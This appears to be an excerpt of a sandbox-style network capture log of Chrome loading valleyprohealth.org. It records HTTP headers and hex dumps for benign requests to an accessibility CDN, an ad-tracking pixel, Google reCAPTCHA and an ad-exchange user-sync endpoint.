2024-04-24 12:44:42 UTC	1255	IN	Data Raw: d8 6a 96 96 f3 3c 53 45 70 c9 ca c6 91 3a 96 fd 48 ac 7b 4d 4e ee 7b 51 34 df 66 b6 6d e5 1a 39 26 e4 10 7e 9d 6b a5 59 1e 66 a6 b5 fd ec 41 42 bb 0c 9e d8 e9 59 57 16 4d 75 8d 8e 00 63 c6 d1 fc e9 26 37 33 67 f7 70 96 f4 f3 08 c7 3d 70 57 da ac 5b 7d b6 15 56 90 4b e4 c6 7e 66 58 db 6b 0c 74 24 ae 30 3d 69 39 5c 2c 57 8f c2 a0 9c b4 80 1e bd 33 52 7f c2 31 1b c8 ab 24 a1 f6 f6 db c7 e5 57 bf b5 2d e1 8c 5c 3c 90 88 8f 43 e6 af cd f4 e7 9a 92 3d 50 c9 0b 4f 1d bd cc e8 07 0c 96 cc 41 fa 63 af e1 49 c5 02 6c 92 0d 1e d6 00 b9 81 7e 5f e2 f5 ad 18 a2 8e 38 76 c7 5c fc be 23 82 72 b1 c1 71 19 04 85 0a 00 24 9f 4c 67 af b5 6b aa ea 22 25 7f b3 cc 57 1d 36 60 fe 23 a8 a4 a2 90 36 cb 32 00 a8 00 1f 8d 42 59 73 d4 fe 55 04 ef 7e 5d 14 c5 20 2f 92 31 19 23 8f 52 Data Ascii: j<SEp:H{MN{Q4fm9&~kYfABYWMuc&73gp=pW[}VK~fXkt$0=i9\,W3R1$W-\<C=POAcIl~_8v\#rq$Lgk"%W6`#62BYsU~] /1#R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49914	104.22.1.204	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:45 UTC	674	OUT	GET /cache/app/wildcards.json HTTP/1.1 Host: cdn.acsbapp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://valleyprohealth.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "de3119f737ac997fbb853cf24e7025b5" If-Modified-Since: Wed, 24 Apr 2024 00:00:03 GMT
2024-04-24 12:44:46 UTC	816	IN	HTTP/1.1 304 Not Modified Date: Wed, 24 Apr 2024 12:44:45 GMT Connection: close x-guploader-uploadid: ABPtcPpRe3naPPdBRm_QG7UC7zqTBDjY12eaNApiQRNSoksMvXjAphqBtOF5fx2anRLbulFCt4E x-goog-generation: 1713916803534148 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 212 x-goog-hash: crc32c=3RTOjg== x-goog-hash: md5=3jEZ9zesmX+7hTzyTnAltQ== x-goog-storage-class: STANDARD access-control-allow-origin: * access-control-expose-headers: *, Content-Length, Date, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-Trace expires: Thu, 24 Apr 2025 12:44:29 GMT Cache-Control: no-cache last-modified: Wed, 24 Apr 2024 00:00:03 GMT etag: "de3119f737ac997fbb853cf24e7025b5" Age: 16 CF-Cache-Status: HIT Server: cloudflare CF-RAY: 87962fc30efb09ef-LAS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49915	18.154.206.40	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:45 UTC	697	OUT	GET /v1/118aade4e91f193939b45ed0d3280360.json HTTP/1.1 Host: listgrowth.ctctcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://valleyprohealth.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "6aba559afcf8291c518df6fa4c481556" If-Modified-Since: Wed, 10 Apr 2024 20:08:09 GMT
2024-04-24 12:44:46 UTC	926	IN	HTTP/1.1 304 Not Modified Connection: close x-amz-id-2: MH07pOpc+6bPmA6NIpgpwIOXASSDld8UG2JU7cgJ7/tr/SNfMJetsotlcbJQtTF7XPrzp5qZq+4= x-amz-request-id: QGNXNM05YEJ2TJ0S Date: Wed, 24 Apr 2024 12:44:47 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 3000 x-amz-replication-status: COMPLETED Last-Modified: Wed, 10 Apr 2024 20:08:09 GMT Cache-Control: max-age=5 x-amz-version-id: qgRxA7gosVzT_wP9bW7f3kojvsIr4NKW Server: AmazonS3 ETag: "6aba559afcf8291c518df6fa4c481556" Vary: Accept-Encoding,Origin,Access-Control-Request-Headers,Access-Control-Request-Method Recaptcha-Key: 6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr Access-Control-Expose-Headers: recaptcha-key X-Cache: RefreshHit from cloudfront Via: 1.1 41ed91f798f252c622eb014c815f5f02.cloudfront.net (CloudFront) X-Amz-Cf-Pop: LAX50-P5 X-Amz-Cf-Id: o_XwxGRTOOqej9P3PC_0cfsRGaLryX_VuJDWa5r173qdT9JhYEndHw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49916	52.223.40.198	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:46 UTC	1021	OUT	GET /track/up?adv=3l6d758&ref=http%3A%2F%2Fvalleyprohealth.org%2F%23screen-reader-shortcut-header&upid=6su09yz&upv=1.1.0 HTTP/1.1 Host: insight.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUYBSABKAMyCwjWj-fe4JnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..
2024-04-24 12:44:46 UTC	653	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 12:44:46 GMT Content-Type: text/html Content-Length: 967 Connection: close server: Kestrel set-cookie: TDID=69c771e8-c390-4607-a64f-75376e6bf1de; expires=Thu, 24 Apr 2025 12:44:46 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCJiz5LHKmfI8EAUSFwoIYXBwbmV4dXMSCwik9O_RypnyPBAFEhUKBmdvb2dsZRILCNTx5LHKmfI8EAUSFQoGY2FzYWxlEgsIyt2SrsuZ8jwQBRIYCgliaWRzd2l0Y2gSCwj4_5Kuy5nyPBAFEhcKCHB1Ym1hdGljEgsIyqaTrsuZ8jwQBRgFKAMyCwjSrpXb4ZnyPBAFQg8iDQgBEgkKBXRpZXIyEAFaBzNsNmQ3NThgAQ..; expires=Thu, 24 Apr 2025 12:44:46 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-24 12:44:46 UTC	967	IN	Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 61 64 73 72 76 72 2e 6f 72 67 2f 75 6e 69 76 65 72 73 61 6c 5f 70 69 78 65 6c 2e 31 2e 31 2e 30 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 75 6e 69 76 65 72 73 61 6c 50 69 78 65 6c 43 6f 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 28 67 6c 6f 62 61 6c 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: <html><head> <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script></head><body> <div id="universalPixelContainer"> <script type="text/javascript"> (function(global) {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49918	142.250.141.104	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:47 UTC	1064	OUT	GET /recaptcha/api2/anchor?ar=1&k=6LfHrSkUAAAAAPnKk5cT6JuKlKPzbwyTYuO8--Vr&co=aHR0cDovL3ZhbGxleXByb2hlYWx0aC5vcmc6ODA.&hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC&size=invisible&cb=2inicfk70su6 HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: http://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09AKPP-6f0-AU0ZVVvbmh6dkGVd8Yz_j0mI5cetlhPJAQfYHaoqIBzpCMNTnw-wulni80qzNludahOGkL_6T-bQa0
2024-04-24 12:44:47 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 24 Apr 2024 12:44:47 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-pmCPlkae7VZbGjuzbHXsqA' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-24 12:44:47 UTC	364	IN	Data Raw: 32 61 66 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b Data Ascii: 2afc<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face {
2024-04-24 12:44:47 UTC	1255	IN	Data Raw: 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 Data Ascii: 18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//font
2024-04-24 12:44:47 UTC	1255	IN	Data Raw: 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 30 Data Ascii: 0AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00
2024-04-24 12:44:47 UTC	1255	IN	Data Raw: 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 20 Data Ascii: +04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-24 12:44:47 UTC	1255	IN	Data Raw: 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b 30 Data Ascii: e { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0
2024-04-24 12:44:47 UTC	1255	IN	Data Raw: 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a Data Ascii: ic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight:
2024-04-24 12:44:47 UTC	1255	IN	Data Raw: 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 51 6f 75 6b 48 35 6a 53 4f 33 73 4b 46 7a 56 45 41 37 56 63 38 56 67 43 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 70 6d 43 50 6c 6b 61 65 37 56 5a 62 47 6a 75 7a 62 48 58 73 71 41 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d Data Ascii: </style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/styles__ltr.css"><script nonce="pmCPlkae7VZbGjuzbHXsqA" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.com
2024-04-24 12:44:47 UTC	1255	IN	Data Raw: 66 33 41 41 4e 34 4d 64 55 72 5a 66 67 64 53 57 35 47 75 4e 51 31 33 5a 49 69 63 69 48 44 4f 36 54 38 33 6f 6f 34 5a 31 31 79 72 59 48 7a 6f 5f 64 34 39 6f 35 4c 56 37 39 42 33 45 4e 72 56 6d 55 76 51 48 32 44 6c 7a 4e 51 2d 6e 48 76 58 5a 38 35 4b 6a 4d 5f 78 55 39 4f 2d 5f 74 31 46 75 66 32 31 5f 4f 7a 56 73 4e 62 6c 6e 64 43 6f 33 6e 74 53 69 6d 38 4d 33 4a 34 72 6f 46 65 35 48 67 78 52 52 35 4e 4e 52 79 7a 36 66 4a 32 6e 77 50 6f 62 6f 30 45 76 4c 52 4c 56 2d 4d 57 36 38 55 77 6f 62 53 4d 72 4a 49 6b 78 57 5f 46 56 55 30 64 78 6c 49 48 32 72 6c 33 45 48 77 6d 4f 52 59 5f 45 33 4e 4b 5f 5a 64 44 74 57 74 44 75 4c 6e 6c 2d 4c 4d 67 6a 5a 51 6f 7a 68 67 6d 6a 67 71 68 79 37 73 46 53 64 32 73 36 41 55 64 76 4d 58 5a 55 51 59 4d 55 67 35 75 6a 30 38 43 56 Data Ascii: f3AAN4MdUrZfgdSW5GuNQ13ZIiciHDO6T83oo4Z11yrYHzo_d49o5LV79B3ENrVmUvQH2DlzNQ-nHvXZ85KjM_xU9O-_t1Fuf21_OzVsNblndCo3ntSim8M3J4roFe5HgxRR5NNRyz6fJ2nwPobo0EvLRLV-MW68UwobSMrJIkxW_FVU0dxlIH2rl3EHwmORY_E3NK_ZdDtWtDuLnl-LMgjZQozhgmjgqhy7sFSd2s6AUdvMXZUQYMUg5uj08CV
2024-04-24 12:44:47 UTC	1255	IN	Data Raw: 70 22 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 70 6d 43 50 6c 6b 61 65 37 56 5a 62 47 6a 75 7a 62 48 58 73 71 41 22 3e 0a 20 20 20 20 20 20 72 65 63 61 70 74 63 68 61 2e 61 6e 63 68 6f 72 2e 4d 61 69 6e 2e 69 6e 69 74 28 22 5b 5c 78 32 32 61 69 6e 70 75 74 5c 78 32 32 2c 5b 5c 78 32 32 62 67 64 61 74 61 5c 78 32 32 2c 5c 78 32 32 4c 79 39 33 64 33 63 75 5a 32 39 76 5a 32 78 6c 4c 6d 4e 76 62 53 39 71 63 79 39 69 5a 79 38 32 53 6b 73 33 55 47 74 6f 55 56 42 71 5a 30 64 6c 51 6c 70 78 65 55 68 4c 51 31 4e 58 64 55 70 4c 52 44 56 61 53 6d 31 47 58 32 74 36 62 56 41 35 55 57 78 57 4d 55 52 5a 4c 6d 70 7a 5c 78 32 32 2c 5c 78 32 32 5c 78 32 32 2c 5c 78 32 32 53 6e 64 4a 62 30 68 31 Data Ascii: p"><script type="text/javascript" nonce="pmCPlkae7VZbGjuzbHXsqA"> recaptcha.anchor.Main.init("[\x22ainput\x22,[\x22bgdata\x22,\x22Ly93d3cuZ29vZ2xlLmNvbS9qcy9iZy82Sks3UGtoUVBqZ0dlQlpxeUhLQ1NXdUpLRDVaSm1GX2t6bVA5UWxWMURZLmpz\x22,\x22\x22,\x22SndJb0h1
2024-04-24 12:44:47 UTC	608	IN	Data Raw: 5a 57 5a 51 64 6c 5a 42 52 58 6b 78 64 46 5a 4e 4d 33 4a 6d 55 69 73 7a 52 47 70 45 55 56 64 4a 64 33 67 72 55 56 70 74 56 33 59 30 55 30 74 4d 5a 55 5a 72 64 57 59 78 56 6e 51 34 56 6c 5a 78 57 6d 39 73 54 54 5a 4c 54 55 56 6d 62 69 74 6d 5a 6d 46 79 63 57 68 47 4e 46 42 74 4d 58 68 4c 61 30 5a 57 54 58 45 76 54 30 64 58 51 54 46 6f 64 43 74 51 56 30 5a 6c 52 55 46 6a 4b 30 49 72 55 53 74 44 4d 32 46 4f 5a 31 4a 42 61 47 4a 77 52 44 64 77 5a 30 74 32 51 32 31 52 64 45 35 47 53 6d 31 55 55 32 6c 6e 4b 31 42 50 4c 32 64 78 64 47 6c 68 4d 6e 70 4a 4b 33 56 69 53 33 46 4f 54 33 56 50 51 33 51 76 61 6e 4e 78 62 6b 73 7a 4d 46 5a 6c 52 6b 56 6c 5a 48 5a 4b 63 47 78 43 4f 54 52 6d 61 6e 6b 72 57 55 35 4c 4e 33 49 30 65 48 59 32 57 45 4e 32 53 33 64 30 52 33 42 Data Ascii: ZWZQdlZBRXkxdFZNM3JmUiszRGpEUVdJd3grUVptV3Y0U0tMZUZrdWYxVnQ4VlZxWm9sTTZLTUVmbitmZmFycWhGNFBtMXhLa0ZWTXEvT0dXQTFodCtQV0ZlRUFjK0IrUStDM2FOZ1JBaGJwRDdwZ0t2Q21RdE5GSm1UU2lnK1BPL2dxdGlhMnpJK3ViS3FOT3VPQ3QvanNxbkszMFZlRkVlZHZKcGxCOTRmankrWU5LN3I0eHY2WEN2S3d0R3B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49920	104.18.36.155	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:47 UTC	802	OUT	GET /rum?cm_dsp_id=39&external_user_id=69c771e8-c390-4607-a64f-75376e6bf1de&expiration=1716554686&gdpr=0&gdpr_consent= HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
